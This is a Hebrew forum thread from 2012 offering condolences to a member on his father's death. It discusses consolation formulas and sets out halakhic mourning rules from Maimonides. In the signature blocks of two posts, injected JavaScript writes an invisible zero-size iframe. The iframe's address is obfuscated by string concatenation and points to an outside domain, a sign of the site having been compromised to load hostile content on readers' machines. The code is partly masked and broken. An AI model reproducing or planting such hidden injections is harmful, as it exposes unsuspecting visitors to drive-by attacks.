| נשלח ב-26/3/2012 07:19 |
 |
| |
אשכול תנחומים לחברנו דרום חוקר
כמעט כולנו וירטואלים. זה אומר שלא תמיד יודעים על שמחות ועל אבל.
אבל חברינו אינם רק דמויות וירטואליות העוסקות בפילוסופיה, הלכה ומה שביניהם, אלא גם בני אדם, בשר ודם, עם השמחה והכאב הכרוכים בכך.
כבדרך אגב נודע לכולנו על כאבו של חברנו האהוב דרום חוקר.
יושל כתב:
לדרום חוקר, עם מות אביך, קבל נא את תנחומנו, בבנין ירושלים תנוחמו, ויה"ר שלא תוסיפו לדאבה עוד.
ירוחם כתב:
דרום
מן השמיים תנוחם.
מואדיב כתב:
תנוחמו מן השמים.
ואני מוסיף:
עד כמה שמילים יכולות להביע, אנו משתתפים בצערך. בתורה ובמצוות, במעשים טובים ובהליכה בדרך אבי המשפחה תנוחמו.
חז"ל אמרו שיעקב אבינו לא מת, כיון שהותיר אחריו את זרעו. אף אתה, המזכה אחרים בתורה ובתורת רבנו הרמב"ם, מעניק לכולנו מתורת משה ומזכה את אביך שלימדך תורה, ועליך נאמר: מה נאים מעשיו, אשרי אביו (ואשרי רבו).
המקום יחזק אתכם בשעה קשה זו ותוסיפו לילך בדרך התורה והלימוד ולזכות את הרבים.
(עד כמה יכולות מילים בלבד להביע אחוה ואהבה? הערכה ורצון להשתתף? קח נא לא רק את השתתפותנו אלא גם את אהבתנו).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/4/2012 11:11 |
|
| |
| בעלבעמיו כתב: |  | מנסיוני הקט, לעתים ההצמדות לנוסחאות, מקילה על שני הצדדים. |
|
מנסיוני הפחות קט - צודק בע"ב.
מה עוד שמי שהיה שם, יודע שנחמה - אין.
|
|
|
|
| נשלח ב-1/4/2012 11:01 |
|
| |
מנסיוני הקט, לעתים ההצמדות לנוסחאות, מקילה על שני הצדדים.
|
|
|
|
| נשלח ב-1/4/2012 11:00 |
|
| |
יהי אור
<אם כי עדיין יש מקום לעיין בזה עוד. כי לטעמי יש ערך ונחמה בהיצמדות לנוסח המסורתי, [אע"פ שצריך לעיין/לחפש אם ועד כמה היא אכן מסורתית, בכל אופן כך נוהגים בקהלות שאני מכיר]>
בשעת העיון יש גם לעיין אם הערך הוא באמירה, או שהוא בהופעה, והאמירה אינה אלא אמצעי להביא את האנשים
לבית האבל, ועדיף שלא ינחמו בנוסח קבוע שלא עושה דבר לאבלים.
<כך נוהגים בקהלות שאני מכיר]>
כי כך יותר קל למנחמים. מפני שזה חוסך מהם לחשוב מה ינחם את האבל.
תוקן על ידי נישטאיך ב- 01/04/2012 11:07:37
|
|
|
|
| נשלח ב-1/4/2012 10:02 |
|
| |
.
תנוחמו מן השמים, כי שום דבר שאנשים יגידו לא יספיק.
לימדונו רעי איוב, כי המגיעים לנחם את היושב, לא יפתחו בדברים אלא ישתקו - ויניחו לאבל לפתוח, ולפי רצונו וכוחו - לשם תתכוון השיחה.
כי אין באמת נחמה, למרות כל מה שאומרים - אבל רק מי שהגיע לשם בעצמו - יודע זאת.
==============
דיני אבלות, הריהם כהררים של מנהג התלויים בחוט השערה של מנהג. כמנהג בני הדרום נהגת, ויפה שאוחז אתה במנהג אבותיך, גם כשהיד כואבת על הראש אם ההספדים נמשכים.
אבל יש גם מנהגים אחרים, במערב ובצפון, וכאשר יגיע תורך לנחם, אנא זכרם. גם היושבים על כסא נמוך ואורחיהם על כסאות רגיים - אוחזים במנהג אבותיהם.
שימרו על אמכם, כי כדברי התנא בסנהדרין - אין איש מת אלא לאשתו.
והואיל והחי יתן אל לבו, אסיים בדברים משל הראב"ע:
| לְךָ אֵלִי תְּשׁוּקָתִי | | בְּךָ חֶשְׁקִי וְאַהֲבָתִי | | לְךָ לִבִּי וְכִלְיוֹתַי | | לְךָ רוּחִי וְנִשְׁמָתִי | | לְךָ יָדַי לְךָ רַגְלַי | | וּמִמָּךְ הִיא תְּכוּנָתִי | | לְךָ עַצְמִי לְךָ דָמִי | | וְעוֹרִי עִם גְּוִיָּתִי | | לְךָ עֵינַי וְרַעְיוֹנַי | | וְצוּרָתִי וְתַבְנִיתִי | | לְךָ רוּחִי לְךָ כֹחִי | | וּמִבְטַחִי וְתִקְוָתִי | | לְךָ לִבִּי וְדַם חֶלְבִּי | | כְּשֶׂה אַקְרִיב וְעוֹלָתִי | | לְךָ יָחִיד בְּלִי שֵׁנִי | | לְךָ תוֹדֶה יְחִידָתִי | | לְךָ מַלְכוּת לְךָ גֵאוּת | | לְךָ תֵאוֹת תְּהִלָּתִי | | לְךָ עֶזְרָה בְּעֵת צָרָה | | הֱיֵה עֶזְרִי בְּצָרָתִי | | לְךָ אוֹחִיל בְּעֵת אָחִיל | | כְּיוֹלֵדָה בְּאַנְחָתִי | | לְךָ שִׂבְרִי רְפָא שִׁבְרִי | | וְאֶת צִירִי וּמַכָּתִי | | לְךָ אֶהֱמֶה וְלֹא אֶדְמֶה | | עֲדֵי תָּאִיר אֲפֵלָתִי | | לְךָ נֶצַח בְּךָ אֶבְטַח | | וְאַתָּה הוּא אֱיָלוּתִי | | לְךָ אֶזְעַק בְּךָ אֶדְבַּק | | עֲדֵי שׁוּבִי לְאַדְמָתִי | | לְךָ אֲנִי בְּעוֹדִי חַי | | וְאַף כִּי אַחֲרֵי מוֹתִי | | לְךָ אוֹדֶה וְאֶתְוַדֶּה | | עֲלֵי חֶטְאִי וְרִשְׁעָתִי | | לְךָ יִשְׁעִי סְלַח רִשְׁעִי | | וְאֶת פִּשְׁעִי וְאַשְׁמָתִי | | לְךָ אִכַּף וְאֶפְרֹשׁ כַּף | | שְׁמַע נָא אֶת תְּחִנָתִי | | לְךָ אֶבְכֶּה בְּלֵב נִדְכֶּה | | בָּרֹב שִׂיחִי וְתוּגָתִי | | לְךָ חֶסֶד לְךָ חֶמְלָה | | חֲמֹל עַל כָּל תְּלָאוֹתִי | | וְגָדוֹל מִנְּשׂוֹא חֶטְאִי | | וְגָדְלָה יַד מְשׁוּבָתִי | | וְלָכֵן גָּדְלוּ צִירַי | | וְקָצַרְתִי זְרִיעָתִי | | וְאוֹי עָלַי וְהָהּ לִי אִם | | תְּדִינֵנִי כְּרִשְׁעָתִי | | וְיִצְרִי צוֹרְרִי תָמִיד | | כְּמוֹ שָׂטָן לְעֻמָתִי | | יְעָצַנִי וּפִתָּנִי | | בְּמוֹעֵצוֹת לְרָעָתִי | | וְעָלָיו לֹא עֲלֵי בִּלְתּוֹ | | חֲמָסִי עִם תְלוּנָתִי | | וְעֵת יַעֲלוּ עֲלֵי לִבִּי | | עֲוֹנוֹתַי בְּמִטָּתִי | | מְאֹד אֶפְחַד וְגַם אֶרְעַד | | מְאֹד יִגְדַּל מְהוּמָתִי | | וְאֶרְגַּז עֵת אֱהִי זוֹכֵר | | לְפָנֶיךָ מְעֻוָתִי | | וְאֶעֱמֹד נֶגְדְּךָ עֵרוֹם | | וּמַה תִהְיֶה תְשׁוּבָתִי | | בְּיוֹם בִּי יַעֲנֶה כַּחְשִׁי | | וְאֹכַל מִפְּרִי דָתִי | | וְיָבוֹאוּ יְמֵי שִׁלוּם | | וְתִקְרַב עֵת פְּקֻדָתִי | | וְשִׁמְעָךְ עֵת שְׁמַעְתִּיהוּ | | מְאֹד זַעְתִּי וְיָרֵאתִי | | וּמִי יַעֲמֹד לְפָנֶיךָ | | וּמִי יִהְיֶה תְמוּרָתִי | | וְאֵיךְ חֶשְׁבּוֹן לְךָ אֶתֵן | | וְאֵיךְ אֶצְדַּק בְּטַעֲנָתִי | | וְאָשַׁמְתִּי וְאָרַבְתִי | | וּבָגַדְתִּי וּבָזִיתִי | | וְגָזַלְתִּי וְגָנַבְתִּי | | הֲרֵעוֹתִי וְהִרְשַׁעְתִּי | | וְגַם זַדְתִּי וְחָמַסְתִּי | | וְחָטָאתִי וְהֶחְטֵאתִי | | וְטָעִיתִי וְיָעַצְתִּי | | וְכִזַּבְתִּי וְכָפַרְתִּי | | וְלוֹצַצְתִּי וְגַם לַצְתִּי | | וּמָרַדְתִּי וּמָרִיתִי | | וְנִאַצְתִּי וְנִאַפְתִּי | | וְסָרַרְתִּי וְסָרַחְתִּי | | וַעָוִיתִי וְהֶעֱוֵיתִי | | וּפָשַׁעְתִּי וּפָגַמְתִּי | | וְצָרַרְתִּי וְצִעַרְתִּי | | וְקִלַּלְתִּי וְקִלְקַלְתִּי | | וְרָשַׁעְתִּי וְשִׁחַתְתִּי | | וְתִעַבְתִּי וְתָעִיתִי | | וְסַרְתִּי מִדְּרָכֶיךָ | | וְכִסַּתְנִי כְלִמָּתִי | | וְהִגְדַּלְתִּי עֲשׂוֹת רֶשַׁע | | וְהֶחֱזַקְתִּי בְּרִשְׁעָתִי | | וְכִחַשְׁתִי וּמָעַלְתִּי | | וְעָשַׁקְתִּי וְרַצּוֹתִי | | וְחָטָאתִי בְּרֵאשִׁיתִי | | וְרָשַׁעְתִּי בְּאַחֲרִיתִי | | וְאָשַׁמְתִּי בְּיַלְדוּתִי | | וּבָגַדְתִּי בְּזִקְנָתִי | | וּבָחַלְתִּי בְּתוֹרָתְךָ | | וּבָחַרְתִּי בְּתוֹרָתִי | | וְעָזַבְתִּי רְצוֹנְךָ | | וְהָלַכְתִי בְּתַאֲוָתִי | | וְהִשְׁלַמְתִּי רְצוֹן יִצְרִי | | וְלֹא בַּנְתִּי לְאַחֲרִיתִי | | וְהִרְבֵּיתִי לְהוֹסִיף חֵטְא | | עֲלֵי רִשְׁעִי וְחוֹבָתִי | | וְלָכֵן כִּסְּתָה פָנַי | | כְּלִמָּתִי וְגַם בּוֹשְׁתִּי | | וְאֵין לִי בִּלְתְּךָ מָנוֹס | | וּמִמָךְ הִיא סְלִיחָתִי | | וּמוֹחֵל בִּלְתְּךָ אַיִן | | וּמֵאִתָּךְ מְחִילָתִי | | וְאִם תָּבִיא בְּמִשְׁפָּט עַבְ- | | דְּךָ מַה הִיא גְבוּרָתִי | | וּמָה אֲנִי וּמַה חַיָּי | | וּמַה כֹּחִי וְעָצְמָתִי | | כְּקַשׁ נִדָף מְאֹד נֶהְדָּף | | וְאֵיךְ תִזְכֹּר מְשׁוּגָתִי | | וְנֶאֱלַמְתִּי וְנִכְלַמְתִּי | | וְכִסַּתְנִי כְלִמָּתִי | | רְצוֹנָךְ אֶשְׁאֲלָה תָּמִיד | | לְמַלְּאוֹת אֶת שְׁאֵלָתִי | | וְהֶרֶב כַּבְּסֵנִי | | מֵעֲוֹנוֹתַי וְחַטָּאתִי | | וְהַבֵּט רֹב תְלָאוֹתַי | | וְדַלוּתִי בְּגָלוּתִי | | וְאַל נָא תַּעְלֵם אָזְנָךְ | | לְרַוְחָתִי לְשַׁוְעָתִי | | עֲרֹב עַבְדָּךְ לְטוֹבָה גַּם | | אֱמֹר נָא דַי לְצָרָתִי | | וְהַרְאֵנִי תְשׁוּעָתָךְ | | בְּטֶרֶם יוֹם תְּמוּתָתִי | | וְיוֹם נָפְלִי בְּפַח מוֹקְשִׁי | | סְמֹךְ נָא אֶת נְפִילָתִי | | וְלַעֲנָה שָׂבְעָה נַפְשִׁי | | עֲדֵי קַצְתִּי בְחַיָּתִי | | עֲשֵׂה עִמִּי לְטוֹבָה אוֹת | | וְקוּמָה נָּא לְעֶזְרָתִי | | הֲכִי אַתָּה מְנַת חֶלְקִי | | וְרִנָּתִי וְטוֹבָתִי | | וְגוֹרָלִי וּמַהֲלָלִי | | וְכָל גִּילִי וְשִׂמְחָתִי | | שְׂשׂוֹן לִבִּי וְאוֹר עֵינַי | | וּמָעֻזִי וְחֶמְדָתִי | | וּמַרְגּוֹעִי וְשַׁעֲשׁוּעִי | | מְנוּחָתִי וְשַׁלְוָתִי | | הֲבִינֵנִי עֲבוֹדָתְךָ | | וְלָךְ תִהְיֶה עֲבוֹדָתִי | | הֲשִׁיבֵנִי וְאָשׁוּבָה | | וְתִרְצֶה אֶת תְשׁוּבָתִי | | וְהוֹרֵנִי דְרָכֶיךָ | | וְיַשֵּׁר אֶת נְתִיבָתִי | | וְתִשְׁמַע אֶת תְּפִלָּתִי | | וְתַעֲנֶה אֶת עֲתִירָתִי | | בְּכָל לִבִּי דְּרַשְׁתִּיךָ | | עֲנֵנִי יָהּ דְּרִישָׁתִי | | אֲנַסֵּךָ אֶת דְּמָעַי לָךְ | | מְחֵה חֶטְאִי בְדִמְעָתִי | | וְנַפְשִׁי אָמְרָה חֶלְקִי | | יְיָ הִיא וְנַחֲלָתִי | | אֱסֹף נָא אֶת עֲוֹנוֹתַי | | בְּחַסְדָּךְ יוֹם אֲסִיפָתִי | | וְיוֹם לֶכְתִּי לְפָנֶיךָ | | רְצֵה נָא אֶת הֲלִיכָתִי | | וְעִם עוֹשֵׂי רְצוֹנֶךְ | | תְּנָה שְׂכַר פְּעֻלָּתִי | | וְתִשְׁלַח מַלְאֲכֵי הַחֵן | | וְיֵצְאוּ נָא לְעֻמָּתִי | | וְשָׁלוֹם בּוֹאֲךָ יֹאמְרוּ | | בְּקוֹל אֶחָד בְּבִיאָתִי | | יְבִיאוּנִי לְגַן עֶדְנָךְ | | וְשָׁם תִּהְיֶה יְשִׁיבָתִי | | וְאֶתְעַדֵּן בְּאוֹרֶךָ | | וְשִׂים כָּבוֹד מְנוּחָתִי | | וְאוֹר גָנוּז לְפָנֶיךָ | | יְהִי סִתְרִי וְסֻכָּתִי | | וְתַחַת צֵל כְּנָפֶיךָ | | תְּנָה נָּא אֶת מְחִצָתִי |
תוקן על ידי מואדיב ב- 01/04/2012 10:17:04
 |
|
|
|
|
| נשלח ב-1/4/2012 00:06 |
|
| |
תודה לכל המנחמים
תודה למימוני על דבריו
תודה לשאר חברי הפורום על דבריהם
תודה ליושל שבא לביתנו לנחם
יהי רצון שה' יחזק את אימי, שתתגבר על המחסור, ותחיה לאורך ימים בבריאות ושמחה.
***
ב"ה זכינו שתלמידי חכמים באו לנחם, נכתוב את ההלכות שלמדנו מפיהם.
המנחמים אינם יושבים על גבי כיסאות, אלא על גבי קרקע כאבלים [ואין המנחמין רשאין לישב אלא על גבי קרקע, שנאמר "ויישבו איתו לארץ". הלכות אבל יג,ג], דבר זה כבר אינו נוהג היום, אבל ידידינו יושל הקפיד על כך, והוא ישב על גבי כרית בשעת הניחום.
על אביו ואמו חייב אדם לקרוע ולחלוץ כתף, כלומר שיוציא את היד והכתף משרוול החולצה על מנת שיהיו גלוים, ויניח ידו על ראשו. [הלכות אבל ח,ג על אביו ועל אימו--חולץ כתפו ומוציא זרועו מן החלוק, עד שיתגלה כתפו וזרועו; והולך כך לפני המיטה. ואחר שיקבור אביו או אימו, אינו חייב לחלוץ.], בהלכה נתבאר שעל חכם שמת חולצין כתף ימין ועל אב בית דין כתף שמאל ועל נשיא שתי ידים, אבל לא נתבאר איזו כתף חולצים על אביו ואמו, מנהג יהודי תימן לחלוץ על אביו ואמו כתף ימין.
אסור לאבל בשבעת ימי אבילות לגלות את ראשו, בלשון חז"ל אסור לו לפרוע את ראשו, לפיכך האבל חייב בעטיפת הראש, והסודר שמכסה בו ראשו, עוטה ממקצתו מעט על פיו, שנאמר "ועל שפם, יעטה" ותירגם אונקלוס הגר כאבילא יתעטף. הלכות אבל ה,יט. מנהג יהודי תימן שיתעטפו האבלים בטלית בשבעת ימי אבילות, וכך לא יגלו את ראשם, ויכסו את פיהם בקצה הטלית. בד"א כשאין הרבה מנחמים, אבל בשעת התפילות, אינו מכובד שינחמו אותו כשהוא עוטה על שפם, ואז יורידו את כיסוי הטלית מפיהם בכדי לקבל את הניחום.
נוסח הניחום "תנוחמו מן השמים" והאבל משיב "אמן", נוסח זה אומרים בכניסה וביציאה, כשיש הרבה אנשים בשעת היציאה, יעמדו המנחמים בזה אחר זה, כל מנחם אומר בתורו תנוחמו מן השמים, ויצעד לכיוון היציאה, והאבל עונה אמן לכל מנחם ומנחם. [האבילים עומדין לשמאל המנחמין, וכל המנחמין באים אצל האבילים אחד אחד, ואומרין להם תנוחמו מן השמיים. הלכות אבל יג,ב]
אין נוהגים אבילות בשבת אלא בדברים שבצנעה כגון תשמיש המיטה ורחיצה, יום שביעי של האבלות מקצתו ככולו [הלכות אבל ו,יב], קברו את המת ביום ראשון, נמצא שיום שבת הוא היום השביעי ולא נוהגת בו אלא אבילות שבצנעה. מכיוון שבכל התורה כולה היום מתחיל מהלילה, ומכיוון שמקצת היום ככולו, נמצא שמותר לרחוץ בליל שבת אחרי שחשיכה וכבר עבר מקצת היום. וכך כתב הרמב"ן להתיר לכתחילה. הרדב"ז פסק כמו הרמב"ן בשעת הדחק. במקרה כמו שלפנינו שיש לפניו כבוד שבת, בודאי שיכבד את השבת וירחץ משחשיכה וכבר עבר מקצת היום, בכדי שלא תעבור עליו השבת כשהוא מטונף. אמרנו שירחץ בחמין בשבת, והוא שהם חמי חמה, כלומר דוד שמש, וכפי שנתבאר היתר רחיצה בדוד שמש בשבת במקום אחר.
רגל מבטל ממנו גזירת שבעה או גזירת שלושים. שהה באבילות כשעה קודם הרגל, ונכנס הרגל, בטלה ממנו גזירת שבעה. שהה באבילותו שבעה ימים ונכנס הרגל בטלה ממנו גזירת שלושים. היו לפניו כמה רגלים, כגון ראש השנה ויום כיפור, אין אומרים שראש השנה יבטל ממנו גזירת שבעה, ויום כיפור יבטל ממנו גזירת שלושים, אלא לאחר שראש השנה ביטל ממנו גזירת שבעה, ישהה באבילותו 23 יום, ולא תתבטל גזירת שלושים מחמת הרגל שבא אחריו, יום כיפור או סוכות. הלכות אבל י,ג הרגלים, וכן ראש השנה ויום הכיפורים--אין דבר מדברי אבילות נוהג בהן. וכל הקובר את מתו, אפילו שעה אחת קודם הרגל, או קודם ראש השנה ויום הכיפורים--בטלה ממנו גזירת שבעה. י,ד נמצא מונה לאחר ראש השנה ויום הכיפורים, שלושה ועשרים יום.
|
|
|
|
|
| נשלח ב-29/3/2012 02:08 |
|
| |
כמדומני שמסורת הקהילה של דרו"ח הוא מן השמים תנוחמו. והעיקר באיזה לשון שרק יהי' שיהי' נחמה אמתית.
|
|
|
|
| נשלח ב-28/3/2012 18:55 |
|
| |
יהי אור
איקון ירוק על האבחנה הפסיכולוגית, והרי הפסיכולוגיה היא אחד מיסודות ההלכה.
אכן ברגעים קשים אדם נצמד למה שהורגל בו.
ולכן אני משתדל להקפיד לשלב את השנים, גם לכתוב את הנוסח המקובל וגם להוסיף עליו ממה שנראה שייך ומתאים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-28/3/2012 12:22 |
|
| |
באופן עקרוני חושב הנני שדברי מיימוני נכונים. ושאלתי היוותה עליה שנקבל את התשובה הזו. אם כי עדיין יש מקום לעיין בזה עוד. כי לטעמי יש ערך ונחמה בהיצמדות לנוסח המסורתי, [אע"פ שצריך לעיין/לחפש אם ועד כמה היא אכן מסורתית, בכל אופן כך נוהגים בקהלות שאני מכיר] כי זה עצמו הוא חלק גדול בנחמה ההשתייכות הקהילתית והמסורתית, לדעתי לכאו' יש לקיים מזה ומזה אל תנח ידיך, ולכן תמה הייתי על השמטתו כמעט לגמרי של הניסוח הזה.
אם הנימה היתה יותר מדי מתריסה, צדקתם. באופן כללי הנני נוקט לשון קצרה, וזו, דרכה להישמע יותר ביקורתית.
כמו כן איך הייתי יכול להניח לאשכול בעצכ'ח בלי הוספת מידע ודיון כלשהו?, הרי המטרה כאן הוא להחכים. [בוודאי שגם לנחם זה דבר גדול]
|
|
|
|
| נשלח ב-28/3/2012 00:05 |
|
| |
| מיימוני כתב: | | צבי
גם אתה ותיק, כנראה לא ראית עד היום אשכולות תנחומים. וכבר היו כאלו.
באשכולות כאלו, כמו להבדיל באשכולות של שמחה, תמיד יש התפצלויות לנושאים של עיון וכיו"ב והרי על זה תפארתו של הפורום. והרי שאלתו של יהי אור יכולה לפתוח דיון (אם כי היה מקום לכתוב בנימה שלא נשמעת ביקורתית, אבל לגבי מי זה לא נכון?). _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
היטבת לדייק, על זה היה 'הביקורת' שלי, למה הדברים נאמרו בצורת ביקורת.
|
|
|
|
| נשלח ב-27/3/2012 22:07 |
|
| |
צבי
גם אתה ותיק, כנראה לא ראית עד היום אשכולות תנחומים. וכבר היו כאלו.
באשכולות כאלו, כמו להבדיל באשכולות של שמחה, תמיד יש התפצלויות לנושאים של עיון וכיו"ב והרי על זה תפארתו של הפורום. והרי שאלתו של יהי אור יכולה לפתוח דיון (אם כי היה מקום לכתוב בנימה שלא נשמעת ביקורתית, אבל לגבי מי זה לא נכון?).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-27/3/2012 19:51 |
|
| |
תנחומי.
|
|
|
|
| נשלח ב-27/3/2012 19:42 |
|
| |
| יהיאור כתב: | | המקום ינחם אתכם בתוך שאר אבלי ציון וירושלים.
ג"א מצטרף.
[למה זה התגובה היחידה שנכתבה בניסוח המסורתי?] |
|
לי יש שאלה אחרת, למה אתה 'היחיד' שהיית צריך להוסיף, איזה הערה לתוך אשכול שנועד לתנחומים?
|
|
|
|
|
| נשלח ב-27/3/2012 16:40 |
|
| |
יהי אור
שאלת לפי מה מנסחים תשובות.
אני יכול רק לשער.
א. אין ניסוח מסורתי אחד ויחיד. (אצל אחינו טהורי היחש אומרים: "משמים תנוחמו").
ב. אין מצוה לומר נוסח זה או אחר אלא לבחור את המילים המתאימות ביותר, או מתאימות ונוגעות.
ג. כדי למצוא מילים נוגעות, צריך להשקיע יותר מאשר שימוש בטקסטים קבועים. לכן אני עצמי מנסה להוסיף משהו משלי, שקשור לשומע (או הקורא במקרה דנן). כך אני מבין את מי שאיחל לדרום שילך בדרך אבותיו, שלה הוא מגלה נאמנות בכתיבתו אצלנו. וכן בכל מקום. האם אין זה ראוי?
__הוחלפו סימני פיסוק שמשום מה היתה בהם טעות_______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 27/03/2012 16:40:44
|
|
|
|
| נשלח ב-27/3/2012 14:15 |
|
| |
| mdabraham כתב: | | המקום ינחם אתכם בתוך שאר אבלי ציון וירושלים. |
|
ג"א מצטרף.
[למה זה התגובה היחידה שנכתבה בניסוח המסורתי?]
|
|
|
|
|
